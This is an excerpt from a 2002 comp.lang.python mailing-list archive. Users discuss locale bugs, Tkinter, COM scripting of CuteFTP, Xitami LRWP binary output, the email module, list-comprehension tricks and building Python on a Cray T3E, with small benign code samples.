Loewis) Date: 12 May 2002 17:10:54 +0200 Subject: unknown locale de_DE@euro References: Message-ID: "Sean 'Shaleh' Perry" writes: > > I recommend to either ignore or fix locale.getdefaultlocale; as is, it > > is utterly broken. > > > > Why do you need it? If you want to obtain the locale's charset, use > > locale.nl_langinfo(locale.CODESET) (after performing setlocale). > > Because many non US linux dists are now shipping with their default > lang set to foo_FOO at euro. Which means python dies when someone uses > it without first changing their locale. Was that meant as an answer to the question "why do you need getdefaultlocale"? Then I don't understand that answer: what does the installation procedure of Linux distributions have to do with the API that you use in your Python application? Regards, Martin From mfranklin1 at gatwick.westerngeco.slb.com Tue May 14 16:14:25 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Tue, 14 May 2002 20:14:25 +0000 Subject: Unnamed Tkinter object reference? In-Reply-To: <3CE13ED5.B0D29BC4@ingenta.com> References: <3CE13ED5.B0D29BC4@ingenta.com> Message-ID: <200205141914.g4EJEZX24640@helios.gatwick.geco-prakla.slb.com> On Tuesday 14 May 2002 4:44 pm, you wrote: > Hello, Python experts! > > I have an app where I'm building widgets on the fly, and they do not > have names, so I can't refer to them to use their methods, but it would > be useful to be able to get some sort of temporary handle for a widget > to be able to get/set parameters for it. > Here is one take on it:- import calendar, Tkinter class TkCalendar(Tkinter.Frame): def __init__(self, parent, year=2002, month=5): Tkinter.Frame.__init__(self, parent) data=calendar.monthcalendar(year, month) col=0 for day in calendar.day_abbr: Tkinter.Label(self, text=day).grid(row=0, col=col, sticky='nsew') col+=1 row=1 for data_row in data: col=0 for day in data_row: if day==0: col+=1 continue b=Tkinter.Button(self, text=day, command=lambda self=self, day=day: self.close(day)) b.grid(row=row, col=col, sticky='nsew') col+=1 row+=1 self.pack() def close(self, day): print day self.quit() if __name__=='__main__': root=Tkinter.Tk() cal=TkCalendar(root) root.mainloop() HTH Martin From mrepass at insightbb.com Fri May 31 02:37:44 2002 From: mrepass at insightbb.com (Mike Repass) Date: Fri, 31 May 2002 06:37:44 GMT Subject: Making Programs Executable References: <63f2fcbe.0205292047.18fa7fcf@posting.google.com> Message-ID: <3CF71B40.3070904@insightbb.com> seraphim wrote: > I am reading the Python tutorial, and they say to use '#! /usr/bin/env > python' as the first line to be able to execute the program withought > having to type 'python file'. I am getting a bad interpreter error. I > am running Slackware 8.0 and Red Hat 7.3 as well. Any help would be > nice. Is the file's executable bit set? In order to run a file by typing "./my_program.py", you must make sure that the file's "mode" includes correct execution permissions. You can view a file's mode by using "ls -al" (the x's stand for executable). To make a file executable, execute the following command: chmod u+x your_file_name_here.py This adds (+) execute permissions (x) for the user (u) and now you should be able to run the program with: ./your_file_name_here.py Best of luck, Mike From martin at v.loewis.de Wed May 8 16:05:18 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 08 May 2002 22:05:18 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > Existing code is not going to break, as long as English identifiers stay > a subset of nationally written identifiers. Which is usually the case > for most character sets, Unicode among them, allowing ASCII letters as a > subset of all letters. For Python, existing code, like inspect.py, *will* break: if introspective code is suddenly confronted with non-ASCII identifiers, it might break, e.g. if Unicode objects show up as keys in __dict__. > Having the capability of writing identifiers with national letters is > not going to break other people's code, this assertion looks a bit like > gratuitous FUD to me. Unless you are referring to probable transient > implementation bugs which are normal part of any release cycle? No. The implementation strategy would be to allow Unicode identifiers at run-time, and all introspective code - either within the Python code base, or third-party, would need revision. > Python has undergone changes which were much deeper and much more > drastic than this one would be, and the fear of transient bugs has > not been a stopper. PEP 263 will introduce the notion of source encodings - without this, it wouldn't even be possible to parse the source code, anymore. The PEP, over months, had a question in it asking whether non-ASCII identifiers should be allowed (the follow-up question would then be: which ones?), and nobody ever spoke up requesting such a feature. It is a real surprise for me that suddenly people want this. Regards, Martin From brian_l at yahoo.com Fri May 17 22:14:58 2002 From: brian_l at yahoo.com (Brian Lenihan) Date: 17 May 2002 19:14:58 -0700 Subject: Python & CuteFTP TE COM Object Anyone?! References: Message-ID: "Peter F. Ferris" wrote in message news:... > : > Does anybody on the list have any experience with the Windows GUI app > : > "CuteFTP" (Pro or not) and scripting with Python. > : > : I'm afraid not. What advantages would it have over just using the > : standard Python FTP support directly? > > It allows pretty painless scheduling of transfers, synchronizing of > directories, fairly sophisticated rules with easy interface, etc. Point & > click for the most part. Unfortunately, few of the features you mention were available via the COM interface in CuteFTP Pro 1.0. The CuteConnection object referred to in some of the sample scripts appears to have been replaced by the TEConnection object, which had little in the way of features and did not provide any way to detect or handle errors. I use CuteFTP Pro to help keep a Web site updated for a friend who is off sailing around the World. I use it for exactly the same reasons you mention. I was disappointed to find out I couldn't automate the entire process. Or, more precisely, I couldn't automate the process and know that any error conditions were going to be handled correctly. I ended up with a semi-automated 3-step process which requires that I manually validate the results of each step before continuing on to the next step. In reality, I'm probably stuck anyway, unless anyone can tell me where to get a perfect spell-checker which includes all known place names (complete with local spelling variations). After seeing your request, I decided to revist the COM interface in Cute FTP Pro 2.0. The interface seems to have expanded quite a bit, although it still has some problems with error conditions. Here is sample.vbs converted to Python. ----------- import sys import win32com.client MySite = win32com.client.Dispatch('CuteFTPPro.TEConnection') MySite.Protocol = 'FTP' MySite.Host = 'ftp.cuteftp.com' MySite.Login = 'anonymous' MySite.Password = 'user at user.com' MySite.UseProxy = 'BOTH' MySite.Connect() if not MySite.IsConnected: print 'Could not connect to: %s Aborting!' % MySite.Host sys.exit(1) else: print 'You are now connected to: %s' % MySite.Host if not MySite.LocalExists('c:/temp1'): MySite.CreateLocalFolder('c:/temp1') MySite.LocalFolder = 'c:/temp1' if not MySite.RemoteExists('Pub'): print 'Remote folder not found!. Please make sure that the Pub folder exists on the remote site.' sys.exit(1) MySite.Download('Pub/cuteftp/index.txt') print 'index.txt was successfully downloaded to c:/temp1/index.txt' if MySite.LocalExists('TOC.txt'): MySite.LocalRemove('TOC.txt') print 'Previous version of TOC.txt deleted' MySite.LocalRename('index.txt','TOC.txt') print 'File renamed, Sample script completed.' MySite.Disconnect() MySite.TECommand('exit') print MySite.Status ---------- The API is documented in the TEsdk help file. From sholden at holdenweb.com Fri May 10 12:06:51 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 12:06:51 -0400 Subject: Python stagnating? References: Message-ID: "Aahz" wrote in message news:abgqj3$r8v$1 at panix2.panix.com... > In article , > Chris wrote: > >on 09 May 2002, aahz at pythoncraft.com (Aahz) spake thusly: > >> In article , > >> Chris wrote: > >>> > >>>What would be really nice is an easily searchable, online manual. As a > >>>user I really like the approach taken by the PHP manual, which > >>>integrates easy searching, an auto search on the URL, and user > >>>comments all in one place. Time to start digging around! > >> > >> There are two links on the Python docs page to search engines for the > >> Python docs. > > > >I don't see those links, but I have found pydoc.org before.. but the user > >comments can be viewed where? And I can get to it with a url string how? > >And the downloadable PDF and HTML versions are where? > > http://www.python.org/doc/ > Look for "Search the docs". Those other features aren't there, of > course; I'm just pointing out that part of what you want is already > available. > > I don't know what you mean by "user comments", but I'm suspicious that I > wouldn't like it. Downloadable HTML is right on the docs pages, and I'm > not particularly fond of PDF for docs. Some sites (MySQL comes to mind) have an HTML version of their documentation available so that people can add insightful ("You may find on platform X that...") and not-so-insigfhtful ("This product rocks!") comments to the documentation. It would be simpler to link each doc page to a Wiki page - at least then we wouldn't have to download the user comments unless we really wanted to see them. PDF is great if you're going to print documentation, which I do with lower frequency as time goes by. The searchable Windows help files (.chm) are useful, as is pydoc, as is Thomas Heller's system (which has already been pointed out). regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From ianb at colorstudy.com Sun May 12 15:59:38 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 12 May 2002 14:59:38 -0500 Subject: python, a scripting language? In-Reply-To: References: Message-ID: <1021233578.589.30.camel@localhost> On Sun, 2002-05-12 at 14:14, Erlend J. Leiknes wrote: > A friend of mine which is a java programmer insists on that python is > scripting language... > > I belive the term "script" is outdated because of "precompilation". > The term for a script-language is that you write and run your program as > text? > > Anyway... I would be happy to hear some reasons why python is not a > scripting language... Sure, Python is a scripting language, among other things. You can script things in Python -- the basic idea being that you can control and combine external programs, libraries, or whatever (it's all a little vague). There are applications which support scripting via Python (even though the applications themselves are written in C or another non-Python language). That makes Python a scripting language. Heck, it doesn't even really matter the the scripted application is written in Python or not. I guess people don't use Java for scripting very often (though I feel like there are some games that use Java in that way... but I might be misremembering). Java isn't appropriate, because it requires so much boilerplate code to do simple, small actions (which is the basic problem domain for scripting). How the language is actually run doesn't mean anything. Tcl before version 8 was interpreted textually, after that it was compiled into bytecodes (like Python) and those bytecodes were interpreted. The language acted the same, just the performance changed. Tcl didn't become a different language because the interpreter changed. If it mattered, then Java would be a Real Programming Language, but JVM bytecodes would just be a script... but that's silly. The whole thing is silly. Anyway, "script" is just a way of thinking about a program. It's informal, it's not something you could use in a taxonomy of programming languages. I usually use it when I want to emphasize that the *program* (not the host language) is simple. Ian From phlip_cpp at yahoo.com Mon May 27 00:31:15 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 27 May 2002 04:31:15 GMT Subject: Another newbie question References: Message-ID: SA wrote: > I am trying to find a way to list the contents of a directory into a list > so that the contents of the list are then read into an html doc as hrefs. > > What I'm looking for is a way to ls a directory. Is there a way to access > the shell command ls from within a python script and dumping the output > into a list for further manipulation? Or does this have to be built from > the ground up inside the python script? os.path.walk does what you need, not what you want. -- Phlip http://www.greencheese.org/LucidScheming -- All analysis and no code makes Jack a dull boy. All analysis and no code makes Jack a dull boy. All analysis and no code makes Jack a dull boy. -- From matt at mondoinfo.com Sun May 26 01:14:19 2002 From: matt at mondoinfo.com (Matthew Dixon Cowles) Date: Sun, 26 May 2002 05:14:19 GMT Subject: email module in 2.2 References: <3VXH8.83948$vm6.17970229@ruti.visi.com> Message-ID: On Sat, 25 May 2002 22:43:41 -0500, Alex Russell wrote: Dear Alex, >I've encountered messages where there's a multi-part alternative >message that's wrapping both text/plain and text/html versions of a >message. I really don't want the HTML part (security problems >galore), so I just want to kick back the text/plain sub-sections in >this case. That's not uncommon in my experience. And I agree with you about the security problems. A more difficult question is what to do with mail that has only an HTML part. The code I posted earlier should ignore text/html parts and print only text/plain parts. Of course, it doesn't know whether two parts are from a multipart/mixed message or a multipart/alternative message since walk() flattens the structure. >The boundaries (given by Message.get_boundary()) seperate them, but >short of string.split-ing on that boundary, I'm at a loss for how to >do this. The email module gives you various ways to get at the various MIME parts. It will do the splitting for you but your code has to decide what parts it cares about and what to do with them. I posted some code to recursively unpack a MIME message in ActiveState's Python cookbook. It's at: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/86675 That code only checks to see if a message is multipart but since it walks the message recursively, it should be relatively straightforward to have it check to see whether a message is multipart/mixed or multipart/alternative and do different things depending on which is the case. >> At a guess, you may be running into the problem of duplicating the >> conventions followed by some particular email client or clients. >I think this may be the case, but being the perfectionist I am, I >want to do the "right thing" no matter how badly mangled the email >client may be. Of course your perfectionism is laudable but it may be thwarted by the worst-behaved (or worst-configured) mail clients. If you run into problems figuring out the code or making it do what you need, please post and I (or someone smarter) will try to help. Regards, Matt From jeff at ccvcorp.com Fri May 24 14:44:52 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 24 May 2002 11:44:52 -0700 Subject: Emulating Pascal input References: Message-ID: In article , Bengt Richter says... > If you pass a _string_ containing an ordered arg name list > (e.g., comma-separated as below), you can get the names bound > in the global name space to converted values. Just skimming, so I may have missed something, but ISTM that this method of doing things is very fragile. You can use this to rebind *global* variables... but once you put those variables (and the input call) inside of another function, suddenly it breaks for no apparent reason. This will be very surprising to students who probably won't understand all of the hidden complexities of global vs local namespaces. As Bengt says, this is shoehorning ideas that don't fit well into Python. I think that it is better for the students if they learn Python conventions instead of Pascal conventions poorly translated into Python. (If you really want them to learn the Pascal conventions, then keep teaching them Pascal. ) My loose translation of the readin() function would be something like this: def readin(prompt, numtype=int): data = raw_input(prompt) numbers = data.split() return map(numtype, numbers) This will allow any number of whitespace-separated numbers to be entered, and will return all of them in a list. It defaults to returning ints, but can be used to return floats or longs or complex by using the optional second argument. I would argue that this teaches *better* programming practice than the Pascal version, since it doesn't depend on side-effects to the function's arguments. Some modification could be made to this to allow it to read from a file, too. Personally, though, I'd be tempted to separate the (string) input retrieval from the processing. This makes it a two-step operation, but it's clear what's going on. def process_input(data, numtype=int): numbers = data.split() return map(numtype, numbers) x, y = process_input(raw_input("Enter two numbers: ")) I, j, k = process_input(infile.readline()) (As a disclaimer, I'm not really familiar with Pascal, so please take all my comments regarding it in the lighthearted vein in which they are intended.) -- Jeff Shannon Technician/Programmer Credit International From gcordova at hebmex.com Thu May 23 14:00:52 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Thu, 23 May 2002 13:00:52 -0500 Subject: Python in a 386 computer Message-ID: > > Hi people, > > Is it possible to run python in a 386 computer? > yes. > > Thanks. > -- > http://mail.python.org/mailman/listinfo/python-list > 'welcome. -gus From sholden at holdenweb.com Mon May 13 22:10:02 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 13 May 2002 22:10:02 -0400 Subject: a xitami lrwp question References: Message-ID: <8p_D8.114926$m26.62481@atlpnn01.usenetserver.com> "Fran?ois Lepoutrre" wrote in message news:abiofk$p7o$1 at suaar1aa.prod.compuserve.com... > Hi all xitami supporters (Steve H., Alex M. ...), > > I have read Steve's "python web programming" > and especially liked the part on xitami lrwp. > Thank you! That's one of the pieces I was most pleased about -- Xitami deserves to be better-known, as it's an ideal lightweight high-capacity web component. > We have a working apache "mod_python handler" > that i tried to port to xitami (on win32). > > The whole port was easy. It looks like a pleasant > alternative especially on win32. > Indeed, although of course Apache is much more Windows-friendly than it used to be. > Xitami and its persistend fastcgi-like > "long--running Web processes" > are a dream to code. > > We have a serious problem howvever > as we dump binary data as well > as text strings. > This shouldn't be a problem. > From what i could test and peak thru google, > binary data gets truncated thru the lrwp interface. > > >binary data it gets cut off at the first '\0'. > > Any way out or hint is welcome. > Fortunately it appears that you've been too pessimistic! Here's a test LRWP process that sends binary data to the client. Note it uses a specifically binary MIME type in its return stream. from lrwplib import LRWP def main(): lrwp = LRWP('testzeros', 'localhost', 81) lrwp.connect() count = 0 while count < 5: # exit after servicing 5 requests count = count + 1 req = lrwp.acceptRequest() req.out.write('Content-type: application/binary\r\n\r\n') for i in range(10): req.out.write("\000\001\002\003\004\005\006") req.finish() lrwp.close() if __name__ == '__main__': main() Accessing this lrwp using a browser brings up a "Save As..." dialog box. I saved the data file and dumped it, with the following result: $ od -b /tmp/testzeros 0000000 000 001 002 003 004 005 006 000 001 002 003 004 005 006 000 001 0000020 002 003 004 005 006 000 001 002 003 004 005 006 000 001 002 003 0000040 004 005 006 000 001 002 003 004 005 006 000 001 002 003 004 005 0000060 006 000 001 002 003 004 005 006 000 001 002 003 004 005 006 000 0000100 001 002 003 004 005 006 0000106 The zeros are quite clearly visible, so it appears you were worrying without need. > By the way is anyone using xitami+python > in production. > Well, not I -- my two main web sites are externally hosted, and a pure-Python server runs from my basement. However, you might be interested in http://www.netcraft.com/Survey/Reports/0204/bydomain/com/Xitami.html > This wonderful little thing is top speedy > by the way (millisecond is the testing unit :). > It seems cleany scalable. > I continue to be impressed by the architecture, and I'm glad that you found Xitami through "Python Web Programming"! regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From larooy at xtar.co.nz Fri May 10 20:16:48 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sat, 11 May 2002 12:16:48 +1200 Subject: making postscript of pdf files References: Message-ID: <20020511121648.6cd2502c.larooy@xtar.co.nz> I haven't tried piddle or sping yet. Sounds ideal for you though http://piddle.sourceforge.net/ PostScript is good fun to learn if you have time. You have dictionaries and namespaces and runtime bindings and... - a lot like python really. But nowhere near as easy to read. On Fri, 10 May 2002 06:21:16 +0000 "Jonathan Vanasco" wrote: > i'm hoping to write a python script to make some daily stats stuff into a > (preferably) postscript file, or possibly a pdf or tiff image. Just really > to get the text on there underneath a standard header. > > I could find 1,000,000 leads on how to do this in perl , but i'd rather > attempt this in python first. > > Can anyone give me some tips/pointers? > > _________________________________________________________________ > Chat with friends online, try MSN Messenger: http://messenger.msn.com > > > From bokr at oz.net Mon May 27 17:03:37 2002 From: bokr at oz.net (Bengt Richter) Date: 27 May 2002 21:03:37 GMT Subject: extended list comprehensions References: <6qznylspy4.fsf@abnoba.intevation.de> Message-ID: On 27 May 2002 15:15:54 +0200, Bernhard Herzog wrote: >fxj at hotmail.com (F. Jamitzky) writes: > >> It would be great to have something like a list comprehension for the >> reduce function. It would work in the same way as the comprehension >> for the map function, which is: >> >> [foo(x) for x in xs] <-is the same as-> map(foo,xs) >> >> and maybe it could be written as: >> >> {y=y+x for x in xs} <-would be-> reduce(operator.add,xs) > > >Well, one could mimic reduce with the side-effects of a list >comprehension: > >>>> y = 0 >>>> xs = range(10) >>>> [0 for x in xs for y in [y + x] if 0] >[] >>>> y >45 > >Not recommended, though :-) > That is really evil ;-) Enough so to want a private scope to prevent side effects for list comprehensions. I wonder how much code would break, not counting horrible examples concocted just for the sake of messing around. BTW, I wonder if reduce would get more use if it had a more suggestive name and mnemonic keyword arguments, e.g., >>> def accumulate(**kw): ... return reduce( ... kw.get('f_acc_delta', lambda a,d: a+d), ... kw.get('seq',[]), ... kw.get('start_with', 0) ... ) ... >>> accumulate(seq=range(10)) 45 >>> accumulate(seq=range(4),f_acc_delta=lambda a,d: a+d*d) 14 >>> accumulate(seq='abc', start_with='XXX:') 'XXX:abc' or maybe def accumulate(seq, **kw): ... Regards, Bengt Richter From BPettersen at NAREX.com Thu May 9 15:39:52 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Thu, 9 May 2002 13:39:52 -0600 Subject: Python vs. Perl, which is better to learn? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E45@admin56.narex.com> > From: geek [mailto:geek+ at andrew.cmu.edu] > > Then <3CDAB85B.C49BABD9 at fnal.gov>, spoke up and said: > > David J. Ritchie wrote: > > >David deleted Aahz's attribution: > > >> Actually, I have a different point: why are you moving blocks of > > >> code? > > >It's a matter of writing in which I move from a rough draft to a > > >final document (whether code or natural language). > > Could you provide an example in which you did this for code? > > Eh, I do this all the time. It turns out I'm a pretty crappy > programmer, so I end up with functions which are "too long". > Eventually I'll factor out some code and use cut-and-paste to > create a new function. Pretty often I have to indent/dedent > to make the old code match the new block. It's no biggie, > though, 'cause I use xemacs so I can just C-c < or C-c > as necessary. Can we assume that you would reindent the code to fit the surroundings if you were writing in e.g. C also? -- bjorn From brian at sweetapp.com Mon May 6 17:53:32 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Mon, 6 May 2002 14:53:32 -0700 Subject: XML: minidom toxml() does not work for non English files! :-( In-Reply-To: Message-ID: <002b01c1f548$7703e940$445d4540@Dell2> > Well, at the start of the __init__ we see: > > self.buf = str(buf) > self.len = len(buf) > > This is clearly wrong, and the second line should be > > self.len = len(buf) > > This is why you are only getting three characters back! Even ignoring that fact, the coercion to string seems like a mistake. Implicit type conversion is bad. Cheers, Brian From gerhard at bigfoot.de Thu May 16 09:51:17 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 16 May 2002 13:51:17 GMT Subject: SSLeay / Net::SSLeay / How to see who issued the x.509 cert on a web server... References: <899f842.0205160546.6de36d7c@posting.google.com> Message-ID: In article <899f842.0205160546.6de36d7c at posting.google.com>, Anthony_Barker wrote: > Perl has a module called Net::SSLeay that contains > a method Net::SSLeay::get_peer_certificate($ssl); > > I think that this will allow the examination of a certificate on an > https server. I want to get the issuer of the x.509 cert. > > Does anyone know of a comparable class in python? > > I investgated using curl or stunnel but didn't see a straight forward > way of doing this. I'd investigate pyOpenSSL (Sourceforge), M2Crypto (Google) or POW (Sourceforge). Gerhard From m.hadfield at niwa.co.nz Fri May 10 00:25:38 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Fri, 10 May 2002 16:25:38 +1200 Subject: Building Python on Cray T3E Message-ID: Like several others before me I am trying to build Python on a Cray T3E. My first attempt with 2.2.1 failed so I searched Google for "Cray T3E group:comp.lang.python" and found several threads, including a couple from mid-2001 on problems with Unicode. Following the advice in this message... http://groups.google.co.nz/groups?hl=en&selm=j4lmkqdi7d.fsf%40informatik.hu- berlin.de ...I ran configure with "--enable-unicode=ucs4". But make stops with the following error: cc -DNDEBUG -O -I. -I./Include -DHAVE_CONFIG_H -c ./Modules/_sre.c -o Modules/_sre.o CC-147 cc: ERROR File = ./Modules/_sre.c, Line = 1791 Declaration is incompatible with "int join(char *, char *)" (declared at line 300 of "/usr/include/unistd.h"). join(PyObject* list, PyObject* pattern) ^ Total errors detected in ./Modules/_sre.c: 1 I'm out of my depth here. Any suggestions? -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From whisper at oz.net Wed May 15 22:11:21 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 19:11:21 -0700 Subject: beginner question: extending python types In-Reply-To: <3CE318F4.5030506@horvath.com> Message-ID: The primary significance of 1 is to keep 0 and 2 from getting too frisky with each other. Otherwise, you're being had: you can't have duplicate keys in a dictionary. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Bob Horvath > Sent: Wednesday, May 15, 2002 19:27 > To: python-list at python.org > Subject: Re: beginner question: extending python types > > > Jeremy Yallop wrote: > > * Uwe Mayer > > | I found Python lacking the type of a "set". i.e. an unordered list. > > > > Use a dictionary, with the same value (1) for every key. > > > > Is there any significance to the value 1? > > > -- > http://mail.python.org/mailman/listinfo/python-list From donn at drizzle.com Sun May 26 12:43:02 2002 From: donn at drizzle.com (Donn Cave) Date: Sun, 26 May 2002 16:43:02 -0000 Subject: Sockets/select: how to deal with multiple connections in threads? References: Message-ID: <1022431382.60958@yasure> Quoth Irmen de Jong : ... | My solution is currently to have *another* server socket, and a | loopback socket to that socket. The select() will wait on this 'signal' | server socket too. The thread will write a character to the loopback | socket, and so the select() in the main loop breaks and my cycle continues. | | I'm not too happy with this solution. Who has a better idea? | What is usually done to abort a select()? (has to work on Windows too) It's a nuisance, but in principle I think your design is not a bad one, to make I/O the common base of your event handling. If you can find a way around it that's more convenient, that's great, but I don't think you'll find a more powerful and portable event dispatching architecture. Donn Cave, donn at drizzle.com From mhammond at skippinet.com.au Fri May 3 21:27:16 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Sat, 04 May 2002 01:27:16 GMT Subject: waiting for event from COM object References: <59e5b87.0205031526.531dcb99@posting.google.com> Message-ID: <3CD33919.8090209@skippinet.com.au> Miranda Evans wrote: > Attempting to write Python script that: > - is not a GUI application > - communicates with a COM object > > The COM object provides: > - a send method > - a MessageReceived event This isn't really a COM object - pretend it was a pure-Python problem implemented using threads. A good way is often to use the threading.Event() object. You code then looks something like: event = threading.Event() class exampleEvents: OnMessageReceived(self): event.set() # mainline. sampobj.send("sample transmission") event.wait(60) if event.isSet(): print "message recieved" else: print "timeout" Mark. From claird at starbase.neosoft.com Mon May 13 20:36:58 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 13 May 2002 19:36:58 -0500 Subject: How to solve diophantine problems? References: Message-ID: In article , Emile van Sebille wrote: >Joshua, Y.J. Lai >> I can roughly solve the diophantine problem by using a nest loop > >I'm not familiar with the "diophantine problem" and didn't, in a quick >look, spot anything obvious to me stating it. . . . Rough translation: a solution in integers (to a system of polynomial equations and constraints). -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From byronh at bigpond.net.au Fri May 17 09:56:14 2002 From: byronh at bigpond.net.au (Byron Hammond) Date: Fri, 17 May 2002 13:56:14 GMT Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <2_7F8.143579$o66.425118@news-server.bigpond.net.au> > Another one is which are "standard" coding in Python ? > > (thing like initCap, postfix private atribute with "_" and so on) I've been wondering about this myself. If you come up with anything else, please let me know... Check this out for python coding style http://www.python.org/peps/pep-0008.html There are other coding styles listed as well. Depends on your needs however... Will other people need to read your code and make sense of it easily or do you need something to cater more specifically for your needs? I'm sure that including type information in the name of a variable could be a good idea if it was important to know the type. eg: nItemsSoFar = number of items so far (integer) sID = identification (string) cCar_Fast = instance of the car class. This is a fast one Including scope information shouldn't be important I imagine (namespaces). Can't think of anything else atm... Byron From michael.ingram at echostar.com Tue May 21 14:13:41 2002 From: michael.ingram at echostar.com (Michael Ingram) Date: 21 May 2002 11:13:41 -0700 Subject: Win32 embedding and extending Message-ID: Python newbie. I'm embedding the Python 2.2 interpreter in a VC++ SDI app. I'm also building Python dll's that wrap existing C Matrox Imaging Library (MIL) code. Using swig to wrap the dll's has helped tremendously and everything works great. However, because swig has worked so well, I don't really have a firm grasp of how marshalling between the two languages is actually performed. Two questions: 1.) I would like to redirect the interpreter's output to one of my SDI's CRichEditCtrl controls. Is this the intention of Win32ui? 2.) I need to free (delete) MIL objects that were allocated in the extension dll's, in the event the interpreter is aborted by the SDI. This amounts (I feel), to another SDI object being updated by the current Python process. In other words, #1 with out the Win32ui or MFC part. Any philosophy on the two issues? ######################## SAMPLE SDI CODE ########################## UINT PythonThread( void *arglist ) { CAutopyView* pView = (CAutopyView*)arglist; if(pView->m_ScriptRichEditCtl.GetModify()) { CFile* TempFile = new CFile(TEXT((LPCTSTR)pView->m_CurrentFile), CFile::modeCreate | CFile::modeWrite ); EDITSTREAM es; es.dwCookie = (DWORD)TempFile; es.pfnCallback = MyStreamOutCallback; pView->m_ScriptRichEditCtl.StreamOut(SF_TEXT, es); TempFile->Close(); delete TempFile; pView->m_ScriptRichEditCtl.SetModify( FALSE ); } if(FILE* fptr = fopen( (LPCTSTR)pView->m_CurrentFile, "r") ) { Py_Initialize(); PyRun_SimpleFile(fptr, pView->m_CurrentFile.GetBuffer(0)); Py_Finalize(); fclose( fptr ); } else pView->MessageBox( "Error Running Script"); return 0; } ######################## SAMPLE script using extension dll's ############### import MILpy import time #import win32gui #import win32ui def main(): MILpy.SetupMIL() # Allocates some MIL constructs x = 20 while x > 0: x = x - 1 MILpy.Grab() MILpy.GrabContinuous() time.sleep(10) MILpy.FreeMIL() # Free's the MIL constructs if __name__=='__main__': main() From dalke at dalkescientific.com Thu May 23 05:44:05 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 23 May 2002 03:44:05 -0600 Subject: OT: off-topic References: Message-ID: Tim Golden: > Isn't this similar to (someone-or-other's) proof that there's no such thing > as an uninteresting number? ... > However, the smallest number in this list is the smallest uninteresting > number, and is therefore interesting, so it moves to the list of interesting > numbers, leaving you with the smallest remaining uninteresting number, which > therefore becomes interesting, etc. etc. Since we're off-topic... I heard this years ago. I've thought about it, and decided that the proof depends on the concept of "sort" since there needs to be a "smallest." Are there interesting vs. non-interesting sorts? Sorts are just numbers, after all. Plus, all it really says is "interesting" doen't have a closed cover. The values of interesting can approach but never be 0 ("uninteresting") and for any positive value of "interesting" you can always find a number which is less interesting than that. See, that math degree didn't go to complete waste. Andrew dalke at dalkescientific.com From synthespian at uol.com.br Wed May 8 21:16:43 2002 From: synthespian at uol.com.br (synthespian) Date: Wed, 08 May 2002 22:16:43 -0300 Subject: Still on py2exe (is it free?) References: Message-ID: On Sun, 28 Apr 2002 10:37:11 -0300, Utente wrote: > Excuse me for bothering... > i'm interested in py2exe, but i experience some strange (for me...) > behavior. > Everything works fine running the .pyw (or the .py) main file. I have > some modules, and the application is build with wxPython (no problems > for py2exe with wxPython anyway). > One of the modules reads and writes a dictionary on a file with the > shelve module. And it works fine. > When i make the "exe" with py2exe everything goes well, the application > runs, but when i try to load data (either with an absolute or a relative > path) it stops. The file exists, the application works fine when > iterpreted but stops whit no error messages or anything when executed > from the exe. I really don't understand why, and i don't see a solution > for my problem. Can anybody give some suggestion? > > Thanks, Max Hi- I want to write a small application for enteral nutrition for a hospital. I want to do it in Python, but I don't want to keep explaining to every one of the Windoze people there that they'll allways need to have Python installed. So I figured that py2exe seem ideal for a stand-alone app. It makes things easier on the Windrones. * But * I'll only go ahead and do it if py2exe is free software. Is it? Cheers Henry ________________________________________________________ Micro$oft-Free Human 100% Debian GNU/Linux KMFMS "Bring the genome to the people!" From fperez528 at yahoo.com Mon May 6 17:41:51 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 06 May 2002 15:41:51 -0600 Subject: XML: minidom toxml() does not work for non English files! :-( References: Message-ID: Steve Holden wrote: > Well, at the start of the __init__ we see: > > self.buf = str(buf) > self.len = len(buf) > > This is clearly wrong, and the second line should be > > self.len = len(buf) > You mean self.len = len(self.buf) right? It definitely looks like a bug though, esp. in light of what the docstring says: buf = f.read() # read until EOF which of course doesn't happen with the current version. Without access to the fix (if you don't have root privileges), using the getvalue() method is a viable workaround in most cases. Cheers, f. From quitelikely at yahoo.com.au Sun May 5 23:05:40 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 06 May 2002 13:05:40 +1000 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> Message-ID: <82wuuiht6j.fsf@acropolis.localdomain> Alex Martelli writes: > Patrick W wrote: > ... > > I can't muster any enthusiasm *at all* for Java. But I _do_ like > > C#. [...] > > I may be missing something, but C# strikes me as VERY close indeed 